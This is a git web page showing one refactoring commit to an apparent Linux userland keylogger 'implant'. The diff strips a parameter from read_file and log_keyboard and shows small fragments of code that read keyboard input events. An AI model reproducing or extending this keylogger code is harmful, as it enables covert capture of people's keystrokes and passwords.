mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 7c896db578674f62a38c1ae574db50cea151aa42
parent 02bc1735c28a544958bd0b52014a80ca5d20faa1
Author: winds0r <[email protected]>
Date: Mon, 5 Jun 2023 15:32:02 +0900

wip(implant): cleaning up code a little

Diffstat:
Mimplant/includes/implant.h | 2+-
Mimplant/sources/keyboard.c | 2+-
Mimplant/sources/logger.c | 4++--
Mimplant/sources/utils.c | 5+----

4 files changed, 5 insertions(+), 8 deletions(-)

diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -84,7 +84,7 @@ int get_locale(implant_t *);
 void fetch_available_keyboards(implant_t *);
 
 // utils.c
-int read_file(char const *, char **, implant_t *);
+int read_file(char const *, char **);
 size_t get_array_size(uint8_t **);
 char *remove_repeating_whitespaces(char *);
 void free_tab(uint8_t **);
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -113,7 +113,7 @@ void fetch_available_keyboards(implant_t *instance) {
 static int parse_locale(char const *locale_fpath, implant_t *instance) {
 
     char *buffer = NULL;
-    if (ERROR == read_file(locale_fpath, &buffer, instance))
+    if (ERROR == read_file(locale_fpath, &buffer))
         return ERROR;
 
     char **tab = tabgen(buffer, '\n');
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -28,7 +28,7 @@ static int get_highest_fd(implant_t *instance) {
     return highest_fd;
 }
 
-static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
+static int log_keyboard(int fd, struct xkb_state *state) {
     struct input_event evt = {0};
 
     ssize_t bytes_read = read(fd, &evt, sizeof(evt));
@@ -164,7 +164,7 @@ void keylog(implant_t *instance) {
                     should we really kill the run here or can we recover this ?
                     i need to run some tests before making a decision.
                 */
-                if (log_keyboard(it->fd, instance, state) == ERROR)
+                if (log_keyboard(it->fd, state) == ERROR)
                     goto LOG_FUNCTION_CLEANUP;
             }
 
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -23,11 +23,8 @@
 
 /*
    just a little utility function to read a generic text file.
-
-   implant_t struct is required to have debug logging. i should maybe
-   find a way to make this suck less, but we're not smart devs over here
 */
-int read_file(char const *path, char **buffer, implant_t *instance) {
+int read_file(char const *path, char **buffer) {
 
     int fd = open(path, O_RDONLY);
     if (0 > fd) {